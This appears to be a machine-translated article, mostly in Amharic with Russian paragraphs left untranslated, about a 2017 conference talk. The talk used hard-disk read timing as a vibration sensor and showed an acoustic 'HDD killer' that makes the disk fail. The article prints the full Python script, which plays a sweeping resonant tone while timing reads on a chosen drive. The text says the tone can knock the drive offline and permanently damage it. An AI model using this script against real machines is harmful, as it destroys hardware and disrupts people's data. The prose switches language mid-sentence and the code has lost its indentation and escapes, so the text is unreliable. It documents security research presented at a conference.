
በቦነስ አይረስ በተካሄደው የኢኮፓርቲ 2017 የኮምፒዩተር ደህንነት ኮንፈረንስ ላይ አርጀንቲና ጠላፊ አልፍሬዶ ኦርቴጋ በጣም አስደሳች የሆነ እድገት አሳይቷል - ማይክራፎን ሳይጠቀሙ ግቢ ውስጥ በድብቅ የስልክ ጥሪ የሚደረግበት ስርዓት። ድምጽ !
ኤችዲዲ በዋነኛነት ከፍተኛ ኃይለኛ ዝቅተኛ ድግግሞሽ ድምፆችን፣ ዱካዎችን እና ሌሎች ንዝረቶችን ያነሳል። የሳይንስ ሊቃውንት ምንም እንኳን የሰው ንግግር ገና ሊታወቅ አይችልም (በዝቅተኛ-ድግግሞሽ ንዝረቶች የንግግር ማወቂያ, ለምሳሌ ከ ጋይሮስኮፕ ወይም ኤችዲዲ).
ድምፅ የአየር ንዝረት ወይም ሌላ መካከለኛ ነው። አንድ ሰው ወደ ውስጠኛው ጆሮ ንዝረት በሚያስተላልፈው ታምቡር በኩል ያያቸዋል. ማይክሮፎኑ የተሰራው ልክ እንደ ጆሮ ነው - እዚህም ቢሆን ንዝረት የሚቀዳው በቀጭኑ ሽፋን ሲሆን ይህም የኤሌክትሪክ ግፊትን ያስደስታል። በእርግጥ ሃርድ ድራይቭ በአካባቢው የአየር መለዋወጥ የተነሳ በአጉሊ መነጽር ብቻ የሚታይ ንዝረትም አለበት። ይህ በኤችዲዲዎች ቴክኒካዊ ባህሪያት እንኳን ይታወቃል፡ አምራቾች ብዙውን ጊዜ የሚፈቀደውን ከፍተኛውን የንዝረት ደረጃ ያመለክታሉ, እና ሃርድ ድራይቭ እራሱ ብዙውን ጊዜ ከጎማ ወይም ሌላ መከላከያ ቁሳቁስ በተሰራ የንዝረት መከላከያ መያዣ ውስጥ ለማስቀመጥ ይሞክራል. ከዚህ በመነሳት ድምጾችን HDD በመጠቀም መቅዳት ይቻላል ብሎ መደምደም ቀላል ነው። የቀረው እንዴት እንደሆነ ለማወቅ ነው።
አልፍሬዶ ኦርቴጋ የጎን ቻናል ጥቃትን ማለትም የጊዜ ጥቃትን ልዩ ስሪት አቅርቧል። ይህ ጥቃት በተሰጠው የግብአት መረጃ ላይ በመመስረት በመሳሪያው ላይ በተለያዩ ጊዜያት የተለያዩ ስራዎች ይከናወናሉ በሚለው ግምት ላይ የተመሰረተ ነው. በዚህ ሁኔታ "የግቤት መረጃ" የንባብ ጭንቅላት እና የኤችዲዲ ፕላስተር ንዝረት ነው, እሱም ከአካባቢው ንዝረት ጋር, ማለትም ከድምጽ ጋር ይዛመዳል. ስለዚህ የስሌት ጊዜን በመለካት እና በመረጃው ላይ ስታቲስቲካዊ ትንታኔን በማካሄድ የጭንቅላቱ / የፕላስተር ንዝረት እና በዚህም ምክንያት የመካከለኛው ንዝረትን መለካት ይቻላል. የውሂብ የማንበብ መዘግየት ረዘም ያለ ጊዜ, የኤችዲዲ ንዝረትን ያጠናክራል እና, ስለዚህ, ድምፁ እየጨመረ ይሄዳል.
የሃርድ ድራይቭ ንዝረትን እንዴት መለካት ይቻላል? በጣም ቀላል: የስርዓት ጥሪውን ብቻ ያሂዱ read () - እና ለማጠናቀቅ የሚወስደውን ጊዜ ይመዝግቡ። ዘመናዊ ስርዓተ ክወናዎች የስርዓት ጥሪዎችን ጊዜ በ nanosecond ትክክለኛነት እንዲያነቡ ያስችሉዎታል.
የአንድ ሴክተር መረጃን የማንበብ ፍጥነት የሚወሰነው በጭንቅላቱ እና በሰሌዳው አቀማመጥ ላይ ነው ፣ ይህም ከኤችዲዲ መያዣ ንዝረት ጋር ይዛመዳል። ይኼው ነው.
ቀላል የ Kscope መገልገያ በመጠቀም የስታቲስቲክስ ትንተና ይካሄዳል. እነሱ እንደሚሉት ፣ ሁሉም ብልህነት ቀላል ነው።

Kscope utility (stat() syscall)
Kscope በስርዓት ጥሪ አፈጻጸም ጊዜ ውስጥ ጥቃቅን ልዩነቶችን ለመመልከት ትንሽ መገልገያ ነው። ምንጭ.
በተለየ ማከማቻ ውስጥ በሃርድ ድራይቭ ላይ ለተወሰነ ጊዜ ጥቃት የተዋቀረ የፍጆታ ስሪት አለ ፣ ማለትም ፣ የስርዓት ጥሪን ለመተንተን የተዋቀረ ነው። read ().
HDD በመጠቀም የድምጽ ቀረጻ ማሳየት, የ Kscope መገልገያ አሠራር

እርግጥ ነው, ንግግር በዚህ መንገድ ሊረዳ አይችልም, ነገር ግን ኤችዲዲ እንደ ንዝረት ዳሳሽ በጣም ተስማሚ ነው. ለምሳሌ አንድ ሰው ጠንካራ ጫማ ያደረገ ወይም በባዶ እግሩ በኮምፒዩተር ወደ ክፍል ከገባ መመዝገብ ይችላሉ (ምናልባት አጥቂው ለስላሳ ስኒከር ከለበሰ ወይም ወለሉ ላይ ወፍራም ምንጣፍ ካለ HDD ንዝረትን መመዝገብ አይችልም - ይህ መፈተሽ ተገቢ ነው)። ኮምፒዩተሩ የተሰበረ ብርጭቆን ወይም ሌሎች ክስተቶችን በጠንካራ የድምፅ መጠን መመዝገብ ይችላል። ማለትም ሃርድ ድራይቭ ያልተፈቀደ የጣልቃ መፈለጊያ ስርዓት አይነት ሆኖ ሊያገለግል ይችላል።
HDD ገዳይ
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

ዋናው ነገር Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из ከኤችዲዲ ገዳይ ማሳያ ጋር
በኤችዲዲዎች ላይ እንደዚህ ያሉ "ጥቃቶች" አንዳንድ ጊዜ በዕለት ተዕለት ሕይወት ውስጥ በአጋጣሚ ሙሉ በሙሉ ሊከሰቱ እንደሚችሉ ለማወቅ ጉጉ ነው። ለምሳሌ፣ በሴፕቴምበር 2016፣ የ ING ባንክ መረጃ ማዕከል ከእሳት አደጋ ልምምድ በኋላ ለ10 ሰዓታት ሥራውን ለማቆም ተገዷል። በከፍተኛ ግፊት ውስጥ ከሲሊንደሮች ውስጥ በሚወጣው የማይነቃነቅ ጋዝ ከፍተኛ ድምጽ ምክንያት. ድምፁ በጣም ከፍተኛ ነበር (ከ 130 ዲቢቢ በላይ), ነገር ግን በሃርድ ድራይቮች ላይ መጮህ እንኳን አይችሉም - ይህ ወደ ኤችዲዲ ለመግባት መዘግየትን ይጨምራል.
በመረጃ ማእከል ውስጥ በሃርድ ድራይቭ ላይ የሰዎች ጩኸት ማሳያ። የመዘግየት መለኪያ

የሚያስተጋባውን ድምጽ ለማመንጨት አልፍሬዶ ኦርቴጋ የሚባል የፓይዘን ስክሪፕት ጻፈ ().
በጣም ትንሽ ነው፣ ስለዚህ ሙሉ ለሙሉ እዚህ ማተም ይችላሉ።
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()ምንጭ: hab.com
